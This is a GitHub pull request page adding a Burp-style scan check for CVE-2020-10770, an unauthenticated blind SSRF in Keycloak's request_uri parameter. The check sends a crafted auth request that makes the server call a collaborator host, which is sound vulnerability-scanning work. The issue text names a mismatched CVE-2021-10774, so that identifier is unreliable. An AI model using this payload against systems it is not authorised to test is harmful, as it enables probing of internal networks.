Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2020-10770 Keycloak request_uri SSRF #43

Merged
merged 2 commits into from
Jul 13, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions vulnerabilities-CVEd/CVE-2020-10770 Keycloak request_uri SSRF
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
metadata:
language: v1-beta
name: "Keycloak before 12.0.1 version - request_uri Blind Server-Side Request Forgery (Unauthenticated)"
description: "Keycloak allows an unauthenticated attacker to send arbitrary values in 'request_uri' parameter and interact with internal network resources which is otherwise not accessible externally. An attacker may use this feature to perform Blind SSRF (Server-side request forgery) attacks on the server."
author: "mrrootsec"
tags: "keycloak", "cve", "ssrf"

run for each:
potential_path = `/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{generate_collaborator_address()}`

given host then
send request:
method: `GET`
path: {potential_path}

if dns interactions then
report issue:
severity: info
confidence: certain
detail: "Vulnerable to CVE-2021-10774 - Keycloak - request_uri Blind Server-Side Request Forgery (SSRF)"
remediation: "Upgrade to the latest version of Keycloak"
end if

if http interactions then
report issue:
severity: high
confidence: certain
detail: "Vulnerable to CVE-2021-10774 - Keycloak - request_uri Blind Server-Side Request Forgery (SSRF)"
remediation: "Upgrade to the latest version of Keycloak"
end if